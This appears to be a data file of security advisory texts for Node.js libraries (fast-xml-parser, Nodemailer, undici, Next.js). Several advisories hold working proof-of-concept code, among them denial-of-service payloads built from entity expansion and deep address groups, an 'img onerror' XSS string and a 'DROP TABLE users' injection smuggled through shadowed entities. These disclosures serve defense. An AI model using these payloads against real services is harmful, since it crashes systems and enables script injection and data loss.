  "details": "### Summary\nThe XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it\u2019s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application.\n\n### Details\nThere is a check in `DocTypeReader.js` that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for \u0026 inside entity values). This does stop classic \u201cBillion Laughs\u201d payloads.\n\nHowever, it doesn\u2019t stop a much simpler variant.\n\nIf you define one large entity that contains only raw text (no \u0026 characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed.\n\nThe problem is in `replaceEntitiesValue()` inside `OrderedObjParser.js`. It repeatedly runs `val.replace()` in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes.\n\nRelevant code:\n\n`DocTypeReader.js` (lines 28\u201333): entity registration only checks for \u0026\n\n`OrderedObjParser.js` (lines 439\u2013458): entity replacement loop with no limits\n\n### PoC\n\n```js\nconst { XMLParser } = require(\u0027fast-xml-parser\u0027);\n\nconst entity = \u0027A\u0027.repeat(1000);\nconst refs = \u0027\u0026big;\u0027.repeat(100);\nconst xml = `\u003c!DOCTYPE foo [\u003c!ENTITY big \"${entity}\"\u003e]\u003e\u003croot\u003e${refs}\u003c/root\u003e`;\n\nconsole.time(\u0027parse\u0027);\nnew XMLParser().parse(xml); // ~4\u20138 seconds for ~1.3 KB of XML\nconsole.timeEnd(\u0027parse\u0027);\n\n// 5,000 chars \u00d7 100 refs takes 200+ seconds\n// 50,000 chars \u00d7 1,000 refs will hang indefinitely\n```\n\n### Impact\nThis is a straightforward denial-of-service issue.\n\nAny service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can\u2019t handle any other requests.\n\nIn testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out.\n\n### Workaround\n\nAvoid using DOCTYPE parsing by `processEntities: false` option.",

  "details": "# Entity encoding bypass via regex injection in DOCTYPE entity names\n\n## Summary\n\nA dot (`.`) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (`\u0026lt;`, `\u0026gt;`, `\u0026amp;`, `\u0026quot;`, `\u0026apos;`) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.\n\n## Details\n\nThe fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed `.` (period), which is valid in XML names per the W3C spec.\n\nIn `DocTypeReader.js`, entity names are passed directly to `RegExp()`:\n\n```js\nentities[entityName] = {\n    regx: RegExp(`\u0026${entityName};`, \"g\"),\n    val: val\n};\n```\n\nAn entity named `l.` produces the regex `/\u0026l.;/g` where `.` matches **any character**, including the `t` in `\u0026lt;`. Since DOCTYPE entities are replaced before built-in entities, this shadows `\u0026lt;` entirely.\n\nThe same issue exists in `OrderedObjParser.js:81` (`addExternalEntities`), and in the v6 codebase - `EntitiesParser.js` has a `validateEntityName` function with a character blacklist, but `.` is not included:\n\n```js\n// v6 EntitiesParser.js line 96\nconst specialChar = \"!?\\\\/[]$%{}^\u0026*()\u003c\u003e|+\";  // no dot\n```\n\n## Shadowing all 5 built-in entities\n\n| Entity name | Regex created | Shadows |\n|---|---|---|\n| `l.` | `/\u0026l.;/g` | `\u0026lt;` |\n| `g.` | `/\u0026g.;/g` | `\u0026gt;` |\n| `am.` | `/\u0026am.;/g` | `\u0026amp;` |\n| `quo.` | `/\u0026quo.;/g` | `\u0026quot;` |\n| `apo.` | `/\u0026apo.;/g` | `\u0026apos;` |\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\nconst xml = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  \u003c!ENTITY l. \"\u003cimg src=x onerror=alert(1)\u003e\"\u003e\n]\u003e\n\u003croot\u003e\n  \u003ctext\u003eHello \u0026lt;b\u0026gt;World\u0026lt;/b\u0026gt;\u003c/text\u003e\n\u003c/root\u003e`;\n\nconst result = new XMLParser().parse(xml);\nconsole.log(result.root.text);\n// Hello \u003cimg src=x onerror=alert(1)\u003eb\u003eWorld\u003cimg src=x onerror=alert(1)\u003e/b\u003e\n```\n\nNo special parser options needed - `processEntities: true` is the default.\n\nWhen an app renders `result.root.text` in a page (e.g. `innerHTML`, template interpolation, SSR), the injected `\u003cimg onerror\u003e` fires.\n\n`\u0026amp;` can be shadowed too:\n\n```js\nconst xml2 = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  \u003c!ENTITY am. \"\u0027; DROP TABLE users;--\"\u003e\n]\u003e\n\u003croot\u003eSELECT * FROM t WHERE name=\u0027O\u0026amp;Brien\u0027\u003c/root\u003e`;\n\nconst r = new XMLParser().parse(xml2);\nconsole.log(r.root);\n// SELECT * FROM t WHERE name=\u0027O\u0027; DROP TABLE users;--Brien\u0027\n```\n\n## Impact\n\nThis is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.\n\n- Default config, no special options\n- Attacker can replace any `\u0026lt;` / `\u0026gt;` / `\u0026amp;` / `\u0026quot;` / `\u0026apos;` with arbitrary strings\n- Direct XSS vector when parsed XML content is rendered in a page\n- v5 and v6 both affected\n\n## Suggested fix\n\nEscape regex metacharacters before constructing the replacement regex:\n\n```js\nconst escaped = entityName.replace(/[.*+?^${}()|[\\]\\\\]/g, \u0027\\\\$\u0026\u0027);\nentities[entityName] = {\n    regx: RegExp(`\u0026${escaped};`, \"g\"),\n    val: val\n};\n```\n\nFor v6, add `.` to the blacklist in `validateEntityName`:\n\n```js\nconst specialChar = \"!?\\\\/[].{}^\u0026*()\u003c\u003e|+\";\n```\n\n## Severity\n\n**CWE-185** (Incorrect Regular Expression)\n\n**CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)**\n\nEntity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.",

  "details": "### Summary\nA DoS can occur that immediately halts the system due to the use of an unsafe function.\n\n### Details\nAccording to **RFC 5322**, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.\nHowever, the code implemented for this flattening process can be exploited by malicious input and triggers DoS\n\nRFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.\nAt the following location in lib/addressparser/index.js:\n\nhttps://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90\n\nthere is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:\n\n```g0: g1: g2: g3: ... gN: victim@example.com;```\n\nBecause no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern\n`addressparser \u2192 _handleAddress \u2192 addressparser \u2192 ...`\nfor each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.\n\nThe problematic code section is as follows:\n```js\nif (isGroup) {\n    ...\n    if (data.group.length) {\n        let parsedGroup = addressparser(data.group.join(\u0027,\u0027)); // \u003c- boom!\n        parsedGroup.forEach(member =\u003e {\n            if (member.group) {\n                groupMembers = groupMembers.concat(member.group);\n            } else {\n                groupMembers.push(member);\n            }\n        });\n    }\n}\n```\n`data.group` is expected to contain members separated by commas, but in the attacker\u2019s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.\n\n### PoC\n\n```\nconst nodemailer = require(\u0027nodemailer\u0027);\n\nfunction buildDeepGroup(depth) {\n  let parts = [];\n  for (let i = 0; i \u003c depth; i++) {\n    parts.push(`g${i}:`);\n  }\n  return parts.join(\u0027 \u0027) + \u0027 user@example.com;\u0027;\n}\n\nconst DEPTH = 3000; // \u003c- control depth \nconst toHeader = buildDeepGroup(DEPTH);\nconsole.log(\u0027to header length:\u0027, toHeader.length);\n\nconst transporter = nodemailer.createTransport({\n  streamTransport: true,\n  buffer: true,\n  newline: \u0027unix\u0027\n});\n\nconsole.log(\u0027parsing start\u0027);\n\ntransporter.sendMail(\n  {\n    from: \u0027test@example.com\u0027,\n    to: toHeader,\n    subject: \u0027test\u0027,\n    text: \u0027test\u0027\n  },\n  (err, info) =\u003e {\n    if (err) {\n      console.error(\u0027error:\u0027, err);\n    } else {\n      console.log(\u0027finished :\u0027, info \u0026\u0026 info.envelope);\n    }\n  }\n);\n```\nAs a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.\n\n### Impact\nThe attacker can achieve the following:\n\n1. Force an immediate crash of any server/service that uses Nodemailer\n2. Kill the backend process with a single web request\n3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion\u201d",

  "details": "### Impact\n\nThe undici WebSocket client is vulnerable to a denial-of-service attack due to improper validation of the `server_max_window_bits` parameter in the permessage-deflate extension. When a WebSocket client connects to a server, it automatically advertises support for permessage-deflate compression. A malicious server can respond with an out-of-range `server_max_window_bits` value (outside zlib\u0027s valid range of 8-15). When the server subsequently sends a compressed frame, the client attempts to create a zlib InflateRaw instance with the invalid windowBits value, causing a synchronous RangeError exception that is not caught, resulting in immediate process termination.\n\nThe vulnerability exists because:\n\n1. The `isValidClientWindowBits()` function only validates that the value contains ASCII digits, not that it falls within the valid range 8-15\n2. The `createInflateRaw()` call is not wrapped in a try-catch block\n3. The resulting exception propagates up through the call stack and crashes the Node.js process\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_",

When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a \"decompression bomb\") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive.\n\nThe vulnerability exists in the `PerMessageDeflate.decompress()` method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold.\n\n## Impact\n\n- Remote denial of service against any Node.js application using undici\u0027s WebSocket client\n- A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more\n- Memory exhaustion occurs in native/external memory, bypassing V8 heap limits\n- No application-level mitigation is possible as decompression occurs before message delivery\n\n### Patches\n\nUsers should upgrade to fixed versions.\n\n### Workarounds\n\nNo workaround are possible.",

The issue is tracked upstream as [CVE-2025-55183](https://www.cve.org/CVERecord?id=CVE-2025-55183).\n\nA malicious HTTP request can be crafted and sent to any App Router endpoint that can return the compiled source code of [Server Functions](https://react.dev/reference/rsc/server-functions). This could reveal business logic, but would not expose secrets unless they were hardcoded directly into [Server Function](https://react.dev/reference/rsc/server-functions) code.",
